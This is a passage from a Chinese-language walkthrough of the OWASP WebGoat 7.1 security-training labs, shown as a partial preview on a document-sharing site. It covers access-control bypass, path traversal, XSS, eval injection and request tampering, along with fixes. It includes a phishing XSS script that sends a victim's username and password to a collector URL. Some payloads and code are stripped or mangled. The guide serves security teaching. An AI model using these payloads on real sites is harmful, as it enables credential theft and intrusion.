WebGoat-7.1课程.doc_第1页
WebGoat-7.1课程.doc_第2页
WebGoat-7.1课程.doc_第3页
WebGoat-7.1课程.doc_第4页
WebGoat-7.1课程.doc_第5页
免费预览已结束,剩余75页可下载查看

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

密级公开WebGoat 7.1课程版本说明修订人修订内容修订时间版本号审阅人倪伟伟初稿2016.05.231.0文档信息文档名称文档编号文档版本号保密级别扩散范围扩散批准人文档说明WebGoat7.1的本课程指导,自己根据网上搜集的资料整理(主要是胡晓斌2011年7月的WebGoat5.2课程使用说明和白河愁2012年9月的WebGoat5.4课程使用说明)以及/web/13594,再加上自己的理解半完成。WebGoat7.1与以前的课程存在有不同之处。因自己刚接触Web安全,加之自身能力有限,部分课程没有完成,希望有兴趣的人一起学习、补充。版权声明可以随便修改目录1.WebGoat简介11.1.WebGoat安装11.2.WebGoat启动12.WebGoat课程22.1.Introduction22.1.1.How to work with WebGoat22.1.2.Useful Tools42.1.3.How to Create A Legacy Lesson52.2.General52.2.1.HTTP Basic52.3.Access Control Flaws52.3.1.Using an Access Control Matrix52.3.2.Bypass a Path Based Access Control Scheme62.3.3.LAB:Role Based Access Control72.4.AJAX Security142.4.1.LAB:Client Side Filtering142.4.2.LAB:DOM-Based cross-site scripting162.4.3.DOM Injection192.4.4.XML Injection202.4.5.JSON Injection222.4.6.Insecure Client Storage242.4.7.Dangerous Use of Eval252.5.Authentication Flaws262.5.1.Password Strength262.5.2.Forgot Password272.5.3.Multi Level Login 2282.5.4.Multi Level Login 1282.6.Buffer Overflows292.6.1.Off-by-One Overflows292.7.Code Quality312.7.1.Discover Clues in the HTML312.8.Concurrency322.8.1.Thread Safety Problems322.8.2.Shopping Cart Concurrency Flaw322.9.Cross-SiteScripting342.9.1.Phishing with XSS342.9.2.LAB:Cross Site Scripting362.9.3.Stored XSS Attacks402.9.4.Reflected XSS Attacks412.9.5.Cross Site Request Forgery(CSRF)412.9.6.CSRF Prompt By-Pass422.9.7.CSRF Token By-Pass442.9.8.HTTP Only Test462.10.Improper Error Handling472.10.1.Fail Open Authentication Scheme472.11.Injection Flaws482.11.1.Command Injection482.11.2.Numeric SQL Injection492.11.3.Log Spoofing502.11.4.XPATH Injection502.11.5String SQL Injection522.11.6LAB:SQL Injection532.11.7Database Backdoors572.11.8Blind Numeric SQL Injection582.11.9Blind String SQL Injection583.1.Denial of Service593.1.1.ZipBomb593.1.2.Denial of Service from Multiple Logins603.2.Insecure Communication603.2.1.Insecure Login603.3.Insecure Storage623.3.1.Encoding Basics623.4.Malicious Execution643.4.1.Malicious File Execution643.5.Parameter Tampering643.5.1.Bypass HTML Field Restrictions643.5.2.Exploit Hidden Fields653.5.3.Exploit Unchecked Email653.5.4.Bypass Client Side JavaScript Validation653.6.Session Management Flaws663.6.1.Hijack a Session663.6.2.Spoof an Authentication Cookie673.6.3.Session Fixation683.7.Web Services693.7.1.Create a SOAP Request693.7.2.WSDL Scanning703.7.3.Web Service SQL Injection713.7.4.Web Service SAX Injection713.8.Challenge72VI文档名称:WebGoat 7.1课程指导1. WebGoat简介WebGoat是OWASP(Open Web Application Security Project)开发的用于Web漏洞演示与验证的平台。该平台包含了访问控制、AJAX安全、认证失效、缓冲区溢出、代码质量、并行性、XSS、不正确的错误控制、注入缺陷、DoS、不安全的通信、不安全的存储、恶意执行、参数篡改、会话管理缺陷和Web服务等多种常见的Web安全漏洞。最新版下载/WebGoat/WebGoat.git,本指南以7.1版本编写。1.1. WebGoat安装以WebGoat的Developers版为例进行安装,通过Git工具把WebGoat以及WebGoat-Lessons(/WebGoat/WebGoat-Lessons.git)克隆到本地。在命令行进入WebGoat-Lessons目录,执行mvn package,把WebGoat-Lessons打包成jar文件,然后拷贝到/WebGoat/webgoat-container/src/main/webapp/plugin_lessons/目录下。在Eclipse或Myeclipse中导入WebGoat工程,至此,WebGoat安装完成。1.2. WebGoat启动在Eclipse或Myeclipse中使用Maven Build运行WebGoat,在本地浏览器输入访问地址:http:/localhost:8080/WebGoat。输入用户名和密码后即可进入WebGoat的教学演示环境,如下图:2. WebGoat课程2.1. Introduction2.1.1. How to work with WebGoat1. 环境信息WebGoat使用Apache Tomcat服务器,但是也可运行在任一的应用服务器上。2. 界面说明u 1、WebGoat的课程分类;u 2、显示Java源代码;u 3、显示所选课程的通用解决办法;u 4、显示课程目标;u 5、显示完成课程的技术提示;u 6、显示HTTP响应参数;u 7、重新开始本课程;3、解决课程问题总是从课程计划开始,然后尝试解决课程问题,如果有必要,使用提示。如果适用,最后一个提示是解决方案文本。如果适用提示不能解决这个问题,你可以查看完整的详细解决方案。4、读和编辑参数/Cookies为了读和编辑参数/Cookies,你需要一个类似OWASP ZAP的本地代理去了拦截HTTP请求。更多关于ZAP的信息可以在“UsefulTools”章节找到。5、配置新WebGoat用户WebGoat使用spring-security.xml配置新用户 6、增加一个新用户增加一个用户很直接。作为例子,你可以使用guest入口。新增的用户应该和guest有同样的角色。新用户的user/password将不会显示在登录页。在/WEB-INF/spring-security.xml中增加类似如下内容:2.1.2. Useful Tools1、OWASP ZAPZed Attack Proxy简写为ZAP,是一个简单易用的渗透测试工具,是发现Web应用中的漏洞的利器,更是渗透测试爱好者的好东西。关于ZAP的使用方法, 可以参考:/sectool/5427.htmlZAP下载地址:/zaproxy/zaproxy/wiki/Downloads,可根据自身需求进行下载。2、FirebugFirebug是Firefox的一个浏览器插件,可以使用Firebug检查、修改、编辑Web页面。可以访问/zh-CN/firefox/addon/firebug/,根据提示添加Firebug到Firefox。2.1.3. How to Create A Legacy Lesson2.2. General2.2.1. HTTP Basicu 课程方法在输入框内填写姓名,然后点击按钮Go!进行提交。服务器接收请求,反转输入,然后将结果返回给用户,说明了处理HTTP请求的基础知识。通过操纵上述按钮去查看提示,用户应该可以熟悉WebGoat的特点,显示HTTP请求参数,HTTP请求cookies和Java源代码。第一次也可以尝试使用OWASP Zed Attack Proxy。2.3. Access Control Flaws2.3.1. Using an Access Control Matrix课程介绍在一个基于角色的访问控制方案中,一个角色代表一组访问权限和特权。一个用户可以被赋予一个或多个角色。一个基于角色的访问控制方案通常包含2部分:角色权限管理和角色分配。一个被破坏的基于角色的访问控制方案可能允许用户执行不是属于他/她所被分配的角色,或以某种方式允许特权升级到未经授权的角色的访问。课程目标角色成员中的每一个用户只被允许访问特定资源。你的目标是探索控制这个站点的访问控制规则。只有Admin用户组拥有“Account Manager”资源的权限。2.3.2. Bypass a Path Based Access Control Schemeu 课程介绍“webgoat”用户拥有访问lesson_plans/English目录下的所有文件的权限,尝试破坏访问控制机制,访问一个不再所列目录下的资源。在选择查看一个文件后,WebGoat将报告所访问文件是否被授权。选择一个有趣的文件来尝试,获取的可能是像WEB-INF/spring-security.xm这样的文件。记住依赖于WebGoat如何启动,文件的路径会有所不同。u 课程方法使用OWASP ZAP代理拦截HTTP请求,修改访问文件,查看服务器返回结果。在上图红色框标注的地方修改为WEB-INF/spring-security.xml文件所在路径,执行完成后如下图所示:2.3.3. LAB:Role Based Access ControlStage1:Bypass Presentational Layer Access Control“Tom”作为一个普通员工,利用脆弱的访问控制,在职工列表界面使用删除功能。验证Tom的简介可以被删除。用户的密码是给定的用户名的小写(如:Tom的密码是tom)。1. 找出具有删除权限的账户;2. 执行“Delete Profile”功能,使用OWASP ZAP拦截请求,查看“Action”行为,可以看到action=DeleteProfile;3. 使用Tom用户登录,然后使用“ViewProfile”功能,使用代理截获请求,修改action行为DeleteProfile。Stage2:Add Business Layer Access Control执行修复未授权访问的Delete功能。这样做,需要修改WebGoat的源代码,重复阶段1,验证访问“DeleteProfile”功能被正确的拒绝。 在Eclipse或Myeclipse中打开【WebGoat-Lessons】-【role-based-access-control】-【org.owasp.webgoat.plugin.rollbased】文件夹中对RoleBasedAccessControl.java文件进行修改,在文件的234行已经使用CODE HERE进行了注释和标注,在此增加如下代码:/ *CODE HERE*if(!isAuthorized(s, getUserId(s),requestedActionName)throw new UnauthenticatedException();/ *更改完成后,使用mvn package对文件进行打包,将target/plugins/role-based-access-control-1.0.jar拷贝到/WebGoat/webgoat-container/src/main/webapp/plugin_lessons/目录下。然后在此界面重新执行阶段1的操作,越权请求被拒绝。实验通过。如下图所示:Stage3: Breaking Data Layer Access Control“Tom”作为一个普通员工,利用脆弱的访问控制,去访问另一位职工的简介。验证访问。1、 找出员工的ID,执行“View Profile”功能,使用OWASP ZAP拦截请求,查看“employee_id”的值,可以看到employee_id=101;2、 使用Tom用户登录,然后使用“ViewProfile”功能,使用代理截获请求,修改employee_id的值为“101”。提交请求之后,如下图所示:Stage4: Add Data Layer Access Control执行修复拒绝未授权访问数据。一旦完成,重复阶段3,验证访问另一个员工的简介被被正确的拒绝。 在Eclipse或Myeclipse中打开【WebGoat-Lessons】-【role-based-access-control】-【org.owasp.webgoat.plugin.rollbased】文件夹中对RoleBasedAccessControl.java文件进行修改,在文件的234行已经使用CODE HERE进行了注释和标注,在此增加如下代码:/ *CODE HERE*if(!isAuthorized(s, getUserId(s),requestedActionName)throw new UnauthenticatedException();int userId = Integer.parseInt(String) s.getRequest().getSession().getAttribute(getLessonName() + . + RoleBasedAccessControl.USER_ID);int employeeId = s.getParser().getIntParameter(RoleBasedAccessControl.EMPLOYEE_ID);if (!action.isAuthorizedForEmployee(s, userId, employeeId) throw new UnauthenticatedException(); / *更改完成后,使用mvn package对文件进行打包,将target/plugins/role-based-access-control-1.0.jar拷贝到/WebGoat/webgoat-container/src/main/webapp/plugin_lessons/目录下。然后在此界面重新执行阶段3的操作,越权请求被拒绝。实验通过。如下图所示:2.4. AJAX Security2.4.1. LAB:Client Side Filtering阶段1:你作为Moe Stooge,Goat Hills Financial的CSO登录。除CEO Neville Bartholomew之外,你可以访问每个人在公司中的信息。或者至少你不能访问CEO的信息。为这次练习,检查页面内容,看看你能发现什么额外的信息。客户端过滤,有些时候服务器返回了很多条信息,只挑选了其中少数进行显示,可以在返回的html源码中看到全部的信息。1、 选中名字附近点击“查看元素”;2、 在源码中查看id=hiddenEmployeeRecords的table;3、 可以发现隐藏的员工信息,可以找到Neville Bartholomew的ID为112,Salary为450000。4、 在页面源码中修改下拉列表中的任一value值为112,就可以查看Neville Bartholomew的信息。阶段2:现在,修复此问题。修改服务器仅返回被Moe Stooge允许看到的结果。 修改/WebGoat/webgoat-container/src/main/webapp/plugin_extracted/plugin/ClientSideFiltering/jsp/clientSideFiltering.jsp,将StringBuffer sb = newStringBuffer();sb.append(/Employees/Employee/UserID | );sb.append(/Employees/Employee/FirstName | );sb.append(/Employees/Employee/LastName | );sb.append(/Employees/Employee/SSN | );sb.append(/Employees/Employee/Salary );String expression = sb.toString();修改为StringBuffer sb = new StringBuffer();sb.append(/Employees/EmployeeManagers/Manager/text() = +userId + /UserID | );sb.append(/Employees/EmployeeManagers/Manager/text() = +userId + /FirstName | );sb.append(/Employees/EmployeeManagers/Manager/text() = +userId + /LastName | );sb.append(/Employees/EmployeeManagers/Manager/text() = +userId + /SSN | );sb.append(/Employees/EmployeeManagers/Manager/text() = +userId + /Salary );String expression = sb.toString();2.4.2. LAB:DOM-Based cross-site scripting阶段1:对于这个练习,你的任务是使用/images/logos/owasp.jpg图片污损网站。在文本框中输入“”,提交,stage 1完成,如下图:阶段2:现在,尝试使用image标签创建一个JavaScript alert在文本框输入“”,点击提交,stage 2完成,如下图所示:阶段3:下一步,尝试使用IFRAME标签创建一个JavaScript alert在文本框输入“”,如下图所示:阶段4:使用如下代码创建一个伪登录表单在文本框输入“Please enter your password:Submit”,如下图所示:在上述文本框输入密码,点击提交按钮,如下图所示:阶段5:执行客户端HTML实体编码消除DOM XSS 脆弱性。给你提供的一个有用的方法是使用:escape.js.修改:/WebGoat/plugin_extracted/plugin/DOMXSS/js/DOMXSS.js文件为:function displayGreeting(name) if (name != )document.getElementById(greeting).innerHTML=Hello, + escapeHTML(name)+ !;修改完成后,点击提交,如下所示:2.4.3. DOM Injection你的受害者是一个系统,为了允许你使用它需要一个激活密钥。你的目标是尝试使的激活按钮有效花一些时间查看HTML源码来理解key验证过程的工作原理。步骤:1、 输入License Key会自动发起一个Ajax的请求。2、 通过拦截AJAX请求的返回报文,更改为返回一段JS代码document.form.SUBMIT.disabled = false或直接检查按钮元素,将disabled=修改为disabled=false点击提交按钮,如下图所示:2.4.4. XML InjectionWebGoat-Miles Reward Miles显示所有可用的奖励。一旦你输入你的账户ID,此课程将显示你能负担得起的账户和产品。你的目标是尝试给你的奖励设置更多的奖励。你的帐号是836239。1、使用OWASP ZAP代理拦截HTTP请求,修改服务器返回文件,如下图缩回:2、在上述红色框标注的地方增加如下代码,:WebGoat Core Duo Laptop 2000 PtsWebGoat Hawaii Cruise 3000 Pts如下图所示:选中上述红色框标注的,点击提交按钮,则可购买积分为2000和3000的奖品。如下图所示:或者直接修改HTML的源代码直接增加两个复选项:WebGoat Core Duo Laptop 2000 PtsWebGoat Hawaii Cruise 3000 Pts2.4.5. JSON Injection你旅行从波士顿,MA机场代码BOS,到西雅图,WA机场代码SEA一旦你输入机场的三个数字代码,一个AJAX请求将被执行用于请求票价你将会注意到有两个航班可选,贵的没有停靠,便宜的有两个停靠你的目标是获取没有停靠但更便宜的价格1、使用OWASP ZAP代理拦截HTTP请求,修改服务器返回文件,如下图缩回:可将上述返回的JSON文件中的$600修改为比$300更低的价格,如下图所示:选择无停靠且价格便宜的,点击提交按钮,如下所示:2.4.6. Insecure Client Storage阶段1:对于这个练习,你的任务是发现一个优惠券代码,以获得意想不到的折扣。1、 查看界面元素,点击“Enter your coupon cod”后面的输入框,如下图:2、 在/WebGoat/plugin_extracted/plugin/ClientSideValidation/js/clientSideValidation.js里查找isValidCoupon函数,在下图的红色框标注处加入调式语句,可获得优惠码为:PLATINUM,GOLD,SILVER,BRONZE,PRESSONE,PRESSTWO3、 在“Enter your coupon cod”后面的输入框输入“PLATINUM”,点击提交 ,如下图:阶段2:现在,尝试让整个订单免费通过查看界面元素,修改价格为“0”,如下图所示:2.4.7. Dangerous Use of Eval对于这个练习,你的任务是想出一些包含script的输入。你尝试让这个页面来反应输入返回到将会执行脚本的浏览器。为了通过此课程,你必须弹出document.cookie。查看源代码,在123部分前后都构造如下的输入:输入:123);alert(document.cookie);(注:)使得原本DOM不受影响,(闭合掉了原本多出的)如下所示:2.5. Authentication Flaws2.5.1. Password Strength你的web应用程序账号仅仅和秘密一样安全。对于这个练习,你的工作是在上测试几个密码。你必须同时测试所有的6个密码。输入在上获得的破解时间,如下图所示:2.5.2. Forgot PasswordWeb应用程序经常为用户提供密码找回功能。但不幸的是,很多Web应用程序的实施机制并不正确。验证用户身份所需要的信息往往过于简单。总体目标如果能正确回答秘密问题,用户可以恢复他们的密码。在“忘记密码”页面上没有锁定机制。你的用户名是“webgoat”,你最喜欢的颜色是“red”。目标是恢复另一个用户的密码。假设我们猜测admin用户喜欢的颜色是green。1、 先用“webgoat”账户测试忘记密码过程2、 admin用户喜欢的颜色,猜出来是green,获得admin的密码。2.5.3. Multi Level Login 2你是一个交Joe的攻击者。你有一个有效的webgoat金融账户。你的目标是作为Jane登录。你的用户名是Joe,密码是banana。这些是你的TANS(交易认证号):Tan #1 = 15161Tan #2 = 4894Tan #3 = 18794Tan #4 = 1564Tan #5 = 45751在第二次使用Joe登录系统,填写完Tan#2之后,使用OWASP ZAP代理拦截HTTP请求,修改hidden_user的值为Jane,修改logout的值为false:提交修改后的请求,如下图:2.5.4. Multi Level Login 1阶段1:此阶段仅仅是呈现一个典型的多层登录是如何工作的。你的目标是使用Jane和密码tarzan做一个常规登录。你有如下的TANS:Tan #1 = 15648Tan #2 = 92156Tan #3 = 4879Tan #4 = 9458Tan #5 = 4879阶段2:现在你是一个黑客,已经通过钓鱼邮件获得了Jane的一些信息。你有密码tarzan和Tan#1:15648。问题是第一个tan已经被使用,尝试使用任何方式进入系统。通过查看界面元素,修改hidden_tan的值为1,Tan#1后的输入框输入已经获得的15648,提交,如下图所示:2.6. Buffer Overflows2.6.1. Off-by-One Overflows欢迎来到OWASP酒店!你能找出VIP客户在哪一个房间吗?未来访问互联网,你需要向我们提供如下信息:阶段1:当他们出现在酒店登记系统时,确保你的第一个和最后一个名字是准确的为了确保内存溢出,需要在上述的Room Number里输入长度大于4096的数字,源代码的的检查如下:阶段2:2.7. Code Quality2.7.1. Discover Clues in the HTML开发人员常因在源代码里留下诸如FIXMEs, TODOs, Code Broken, Hack等语句而臭名昭著。审查源代码里表示密码、后门或不正确工作的任何评论。下面是一个基于表单的身份认证形式。寻找线索来帮助你登录。右键查看元素,能够找到,使用admin和adminpw进行登录,如下图所示:2.8. Concurrency2.8.1. Thread Safety Problems在Web应用程序,用户可以利用并发错误,尝试查看另外一个用户登录信息,并使用相同的功能在相同的登录时间,需要使用2个浏览器完成。有效的用户名是“jeff”和“dave”。原因:在编写代码时,没有考虑到多线程的问题(线程安全问题),源码:private static String currentUser;private String originalUser;这里currentUser使用了static静态变量,且没有做线程保护,就会造成浏览器Tab1访问这个页面时,Tab2同时访问,数据就会被替换掉。2.8.2. Shopping Cart Concurrency Flaw在这个练习里,你的任务是利用并发问题以低的价格购买商品,需要使用2个浏览器。先选择一个便宜商品,点击购买,如下图所示:接着用另外一个浏览器,选择贵的商品并更新到购物车,如下图所示:回到第一次点击的浏览器,点击confirm。如下图所示:原因:和上述一样,也是由于变量未做线程安全保护,代码如下:private static float runningTOTAL = 0; private static int subTOTAL = 0; private static float calcTOTAL = 0; private static int quantity1 = 0; private static int quantity2 = 0; private static int quantity3 = 0; private static int quantity4 = 0;2.9. Cross-SiteScripting2.9.1. Phishing with XSS页面上如果存在一个已知的XSS攻击,本课程是一个网站如何支持钓鱼攻击的例子。下面是一个标准的搜索功能。使用XSS和HTML插入,你的目标是:插入一个需要证书的HTML请求增加一个Javascript脚本收集证书将证书POST到http:/localhost/webgoat/catcher?PROPERTY=yes1、 表单代码This feature requires account login:Enter Username:Enter Password: 2、 JavaScript代码 function hack()XSSImage=new Image; XSSImage.src=http:/ localhost:8080/WebGoat/catcher?PROPERTY=yes&user= + document.phish.user.value + &password= + document.phish.pass.value + ; alert(Had this been a real attack. Your credentials were just stolen. User Name = + document.phish.user.value + Password = + document.phish.pass.value); 3、 将上述两个代码合为一段,如下图所示,点击Search:4、 在上图中输入Username和Password,点击login,如下图所示:点击确定,XSS攻击完成。2.9.2. LAB:Cross Site Scripting阶段一:执行一个存储型XSS攻击作为“Tom”,在编辑账号界面的Street字段执行一个存储型XSS攻击。验证“Jerry”被此攻击影响。账号所对应的密码是给定名字的小写(比如Tom Cat的密码是tom)。使用Tom登录,编辑用户信息,在Street字段输入以下代码:alert(XSS);保存,退出。使用Jerry登录,查看Tom的信息,完成阶段一。阶段二:Block Stored XSS using Input Validation实现修复,在写入数据库之前阻止存储型XSS,重复阶段1,“David”作为“Eric”的经理,确保David不受攻击影响。修改源码:org.owasp.webgoat.plugin.crosssitescripting. UpdateProfileCrossSiteScripting:/* 验证输入字符串是否包含存储型XSS攻击 2016-06-15 10:04*/ /*Code Start*/ String regex=sw-,*;String strToValidate = firstName + lastName + ssn + title + phone+ address1 + address2 + startDate + ccn+ disciplinaryActionDate + disciplinaryActionNotes+ personalDescription; Pattern pattern = Ppile(regex); validate(strToValidate,pattern); /*Code End*/此这段验证代码只允许s=whitspace:tnx0Bfr,w=word:a-zA-Z_0-9通过验证。使用其他字符将会抛出验证异常。也可根据需要修改正则表达式的匹配范围。阶段3:执行一个先前的存储XSS攻击雇员“Bruce”的简介被存储XSS预先加载。验证“David”被攻击所影响,尽管在阶段2已经修复。使用“David”登录,然后查看“Bruce”的信息,即可完成。阶段4:使用输出编码阻止存储XSS攻击实施修复来阻止从数据库读取数据后的XSS攻击。重复阶段3,验证“David”不被“Bruce”的简介攻击所影响修改源码:org.owasp.webgoat.plugin.crosssitescripting.ViewProfileCrossSiteScripting中的getEmployeeProfile方法,对于获取数据库返回的结果时使用HtmlEncoder.encode(answer_results.getString(字段名称)替换answer_results.getString(字段名称)。阶段5:执行一个反射XSS攻击在搜索员工页面使用脆弱性手工制造一个包含反射XSS攻击的URL。验证使用此链接的另一个用户被此攻击影响。以“Larry”登录,在“Search Staff”搜索框输入“alert(Dangerous);”。阶段6:使用输入验证阻止反射XSS实施修复来阻止这个反射XSS攻击。重复阶段5,验证攻击URL不再有效。修改源码:org.owasp.webgoat.plugin.crosssitescripting. FindProfileCrossSiteScripting中的第71行后增加如下代码:/* 验证输入字符串是否包含存储型XSS攻击 2016-06-16 10:04*/ /*Code Start*/ String regex=sw-,*; Pattern pattern = Ppile(regex); validate(sear

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论